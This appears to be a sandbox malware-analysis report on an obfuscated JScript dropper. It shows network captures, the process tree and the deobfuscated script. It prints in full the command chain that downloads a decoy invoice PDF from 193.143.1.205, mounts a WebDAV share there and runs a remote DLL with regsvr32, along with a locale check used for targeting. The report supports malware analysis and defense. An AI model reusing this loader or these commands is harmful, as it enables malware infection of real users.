Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:36:56.865797043 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:36:57.661278009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:36:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:36:57.661348104 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:36:57.661401033 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:36:57.661436081 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:36:57.661504984 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:36:57.661539078 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 08:36:57.661575079 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 08:36:57.661607981 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 08:36:57.661642075 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 08:36:57.661679029 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 08:36:57.666532993 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7836	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:36:59.270427942 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:37:00.066649914 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:36:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:36:53
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js"
Imagebase:	0x7ff6931a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:36:53
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Imagebase:	0x7ff6049e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:36:53
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:36:53
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:36:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:36:58
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6049e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:36:58
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff787fe0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:36:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:36:59
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:36:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,16000377392054461285,756033616795107674,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function trxwigco() {	trxwigco() ➔ undefined
1	ofijxw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var piocjr = this[csoyr + tromgwlc + qwpmw + ljzuhjk + jmfcdwsxc + ymybsl + sgwtaekws + rjwomhghx] ( this[fqhtfqz + zbwhxaws + vntiriiq + qwpmw + fmqgtsg + csoyr + rjwomhghx][cuyckx + qwpmw + jmfcdwsxc + tromgwlc + rjwomhghx + jmfcdwsxc + sytallaz + rgbcpdwzo + eqtmvmknn + jmfcdwsxc + vntiriiq + rjwomhghx] ( fqhtfqz + zbwhxaws + vntiriiq + qwpmw + fmqgtsg + csoyr + rjwomhghx + ugwifjt + zbwhxaws + bemsbgh + jmfcdwsxc + sflfzmm + sflfzmm ) [dzrhawemf + jmfcdwsxc + grcbjhquz + dzrhawemf + jmfcdwsxc + tromgwlc + hczgnp] ( vgnlf + thmiz + wkarq + ooxtpvamj + uarpxyftn + cuyckx + knizgclld + dzrhawemf + dzrhawemf + wkarq + pixzcqve + hzedrjb + uarpxyftn + knizgclld + zbwhxaws + wkarq + dzrhawemf + vijzmeb + cuyckx + gpbevqwz + sgwtaekws + rjwomhghx + qwpmw + gpbevqwz + sflfzmm + ycark + nhyfqqy + tromgwlc + sgwtaekws + jmfcdwsxc + sflfzmm + vijzmeb + ymybsl + sgwtaekws + rjwomhghx + jmfcdwsxc + qwpmw + sgwtaekws + tromgwlc + rjwomhghx + fmqgtsg + gpbevqwz + sgwtaekws + tromgwlc + sflfzmm + vijzmeb + ibihfsnr + gpbevqwz + vntiriiq + tromgwlc + sflfzmm + jmfcdwsxc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wcacjhtq = 0 ; wcacjhtq < ofijxw[sflfzmm + jmfcdwsxc + sgwtaekws + grcbjhquz + rjwomhghx + bemsbgh] ; ++ wcacjhtq )
4	{
5	if ( piocjr == ofijxw[wcacjhtq] )
6	{
7	piocjr = true;
8	break ;
9	}
10	}
11	if ( piocjr !== true )
12	this[fqhtfqz + zbwhxaws + vntiriiq + qwpmw + fmqgtsg + csoyr + rjwomhghx][seywgvh + kzvfz + fmqgtsg + rjwomhghx] ( );
13	this[fqhtfqz + zbwhxaws + vntiriiq + qwpmw + fmqgtsg + csoyr + rjwomhghx][cuyckx + qwpmw + jmfcdwsxc + tromgwlc + rjwomhghx + jmfcdwsxc + sytallaz + rgbcpdwzo + eqtmvmknn + jmfcdwsxc + vntiriiq + rjwomhghx] ( fqhtfqz + zbwhxaws + vntiriiq + qwpmw + fmqgtsg + csoyr + rjwomhghx + ugwifjt + zbwhxaws + bemsbgh + jmfcdwsxc + sflfzmm + sflfzmm ) [qwpmw + kzvfz + sgwtaekws] ( vntiriiq + yddgbhsa + hczgnp + ycark + dsziaklxq + vntiriiq + ycark + csoyr + gpbevqwz + edaslfmz + jmfcdwsxc + qwpmw + ljzuhjk + bemsbgh + jmfcdwsxc + sflfzmm + sflfzmm + ugwifjt + jmfcdwsxc + bwrnzffs + jmfcdwsxc + ycark + iolmnlnoe + cuyckx + gpbevqwz + yddgbhsa + yddgbhsa + tromgwlc + sgwtaekws + hczgnp + ycark + cwplb + ymybsl + sgwtaekws + ommuh + gpbevqwz + rldbyj + jmfcdwsxc + iolmnlnoe + fqhtfqz + jmfcdwsxc + rgbcpdwzo + dzrhawemf + jmfcdwsxc + ckpzb + kzvfz + jmfcdwsxc + ljzuhjk + rjwomhghx + ycark + iolmnlnoe + sytallaz + kzvfz + rjwomhghx + dltcta + fmqgtsg + sflfzmm + jmfcdwsxc + ycark + gfama + rjwomhghx + jmfcdwsxc + yddgbhsa + csoyr + gfama + vijzmeb + fmqgtsg + sgwtaekws + ommuh + gpbevqwz + fmqgtsg + vntiriiq + jmfcdwsxc + ugwifjt + csoyr + hczgnp + qtpzi + ycark + bemsbgh + rjwomhghx + rjwomhghx + csoyr + ratqmhkly + dsziaklxq + dsziaklxq + ifwfvs + cxbphcvq + tbzkd + ugwifjt + ifwfvs + rishbu + tbzkd + ugwifjt + ifwfvs + ugwifjt + jscwxlyxq + zimiyujx + ovuhtm + dsziaklxq + fmqgtsg + sgwtaekws + ommuh + gpbevqwz + fmqgtsg + vntiriiq + jmfcdwsxc + ugwifjt + csoyr + bemsbgh + csoyr + cwplb + ivmmamhuo + ivmmamhuo + ljzuhjk + rjwomhghx + tromgwlc + qwpmw + rjwomhghx + ycark + gfama + rjwomhghx + jmfcdwsxc + yddgbhsa + csoyr + gfama + vijzmeb + fmqgtsg + sgwtaekws + ommuh + gpbevqwz + fmqgtsg + vntiriiq + jmfcdwsxc + ugwifjt + csoyr + hczgnp + qtpzi + ivmmamhuo + ivmmamhuo + vntiriiq + yddgbhsa + hczgnp + ycark + dsziaklxq + vntiriiq + ycark + sgwtaekws + jmfcdwsxc + rjwomhghx + ycark + kzvfz + ljzuhjk + jmfcdwsxc + ycark + vijzmeb + vijzmeb + ifwfvs + cxbphcvq + tbzkd + ugwifjt + ifwfvs + rishbu + tbzkd + ugwifjt + ifwfvs + ugwifjt + jscwxlyxq + zimiyujx + ovuhtm + ambmfc + pdijc + pdijc + pdijc + pdijc + vijzmeb + hczgnp + tromgwlc + ommuh + edaslfmz + edaslfmz + edaslfmz + qwpmw + gpbevqwz + gpbevqwz + rjwomhghx + vijzmeb + ivmmamhuo + ivmmamhuo + vntiriiq + yddgbhsa + hczgnp + ycark + dsziaklxq + vntiriiq + ycark + qwpmw + jmfcdwsxc + grcbjhquz + ljzuhjk + ommuh + qwpmw + tbzkd + jscwxlyxq + ycark + dsziaklxq + ljzuhjk + ycark + vijzmeb + vijzmeb + ifwfvs + cxbphcvq + tbzkd + ugwifjt + ifwfvs + rishbu + tbzkd + ugwifjt + ifwfvs + ugwifjt + jscwxlyxq + zimiyujx + ovuhtm + ambmfc + pdijc + pdijc + pdijc + pdijc + vijzmeb + hczgnp + tromgwlc + ommuh + edaslfmz + edaslfmz + edaslfmz + qwpmw + gpbevqwz + gpbevqwz + rjwomhghx + vijzmeb + jscwxlyxq + tbzkd + ifwfvs + ifwfvs + cxbphcvq + rishbu + jscwxlyxq + ovuhtm + qfcxjiwrj + jscwxlyxq + cxbphcvq + tbzkd + jscwxlyxq + ifwfvs + ugwifjt + hczgnp + sflfzmm + sflfzmm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll",0,false) ➔ 0
14	}
15	gpbevqwz = "J";
16	gpbevqwz = "Y";
17	gpbevqwz = "s";
18	gpbevqwz = "u";
19	gpbevqwz = "o";
20	gpbevqwz = "o";
21	knizgclld = "U";
22	knizgclld = "w";
23	knizgclld = "z";
24	knizgclld = "A";
25	knizgclld = "C";
26	knizgclld = "k";
27	knizgclld = "N";
28	knizgclld = "q";
29	knizgclld = "V";
30	knizgclld = "V";
31	knizgclld = "v";
32	knizgclld = "S";
33	knizgclld = "g";
34	knizgclld = "X";
35	knizgclld = "O";
36	knizgclld = "F";
37	knizgclld = "U";
38	fmqgtsg = "L";
39	fmqgtsg = "Y";
40	fmqgtsg = "E";
41	fmqgtsg = "T";
42	fmqgtsg = "a";
43	fmqgtsg = "f";
44	fmqgtsg = "p";
45	fmqgtsg = "R";
46	fmqgtsg = "W";
47	fmqgtsg = "k";
48	fmqgtsg = "u";
49	fmqgtsg = "f";
50	fmqgtsg = "U";
51	fmqgtsg = "s";
52	fmqgtsg = "W";
53	fmqgtsg = "h";
54	fmqgtsg = "Q";
55	fmqgtsg = "K";
56	fmqgtsg = "P";
57	fmqgtsg = "I";
58	fmqgtsg = "m";
59	fmqgtsg = "u";
60	fmqgtsg = "k";
61	fmqgtsg = "E";
62	fmqgtsg = "o";
63	fmqgtsg = "i";
64	cwplb = "Y";
65	cwplb = "U";
66	cwplb = "T";
67	cwplb = "t";
68	cwplb = "S";
69	cwplb = "o";
70	cwplb = "w";
71	cwplb = "\"";
72	zbwhxaws = "a";
73	zbwhxaws = "F";
74	zbwhxaws = "i";
75	zbwhxaws = "j";
76	zbwhxaws = "N";
77	zbwhxaws = "W";
78	zbwhxaws = "c";
79	zbwhxaws = "Q";
80	zbwhxaws = "c";
81	zbwhxaws = "u";
82	zbwhxaws = "K";
83	zbwhxaws = "Y";
84	zbwhxaws = "i";
85	zbwhxaws = "X";
86	zbwhxaws = "Y";
87	zbwhxaws = "s";
88	zbwhxaws = "q";
89	zbwhxaws = "f";
90	zbwhxaws = "e";
91	zbwhxaws = "W";
92	zbwhxaws = "w";
93	zbwhxaws = "i";
94	zbwhxaws = "D";
95	zbwhxaws = "p";
96	zbwhxaws = "Z";
97	zbwhxaws = "c";
98	zbwhxaws = "E";
99	zbwhxaws = "N";
100	zbwhxaws = "i";
101	zbwhxaws = "Q";
102	zbwhxaws = "i";
103	zbwhxaws = "V";
104	zbwhxaws = "r";
105	zbwhxaws = "S";
106	grcbjhquz = "P";
107	grcbjhquz = "V";
108	grcbjhquz = "X";
109	grcbjhquz = "Z";
110	grcbjhquz = "H";
111	grcbjhquz = "C";
112	grcbjhquz = "K";
113	grcbjhquz = "S";
114	grcbjhquz = "X";
115	grcbjhquz = "v";
116	grcbjhquz = "d";
117	grcbjhquz = "q";
118	grcbjhquz = "g";
119	grcbjhquz = "o";
120	grcbjhquz = "M";
121	grcbjhquz = "I";
122	grcbjhquz = "C";
123	grcbjhquz = "D";
124	grcbjhquz = "Y";
125	grcbjhquz = "g";
126	gfama = "w";
127	gfama = "c";
128	gfama = "B";
129	gfama = "c";
130	gfama = "S";
131	gfama = "w";
132	gfama = "P";
133	gfama = "f";
134	gfama = "I";
135	gfama = "z";
136	gfama = "s";
137	gfama = "A";
138	gfama = "m";
139	gfama = "f";
140	gfama = "J";
141	gfama = "J";
142	gfama = "c";
143	gfama = "i";
144	gfama = "D";
145	gfama = "o";
146	gfama = "N";
147	gfama = "b";
148	gfama = "x";
149	gfama = "M";
150	gfama = "R";
151	gfama = "y";
152	gfama = "s";
153	gfama = "o";
154	gfama = "Y";
155	gfama = "R";
156	gfama = "X";
157	gfama = "S";
158	gfama = "S";
159	gfama = "G";
160	gfama = "F";
161	gfama = "G";
162	gfama = "N";
163	gfama = "J";
164	gfama = "Q";
165	gfama = "p";
166	gfama = "L";
167	gfama = "%";
168	kzvfz = "y";
169	kzvfz = "u";
170	hczgnp = "y";
171	hczgnp = "G";
172	hczgnp = "M";
173	hczgnp = "O";
174	hczgnp = "n";
175	hczgnp = "q";
176	hczgnp = "X";
177	hczgnp = "D";
178	hczgnp = "Z";
179	hczgnp = "B";
180	hczgnp = "g";
181	hczgnp = "v";
182	hczgnp = "s";
183	hczgnp = "a";
184	hczgnp = "D";
185	hczgnp = "F";
186	hczgnp = "C";
187	hczgnp = "z";
188	hczgnp = "d";
189	hczgnp = "b";
190	hczgnp = "t";
191	hczgnp = "J";
192	hczgnp = "B";
193	hczgnp = "P";
194	hczgnp = "h";
195	hczgnp = "D";
196	hczgnp = "E";
197	hczgnp = "d";
198	nhyfqqy = "b";
199	nhyfqqy = "Z";
200	nhyfqqy = "v";
201	nhyfqqy = "y";
202	nhyfqqy = "K";
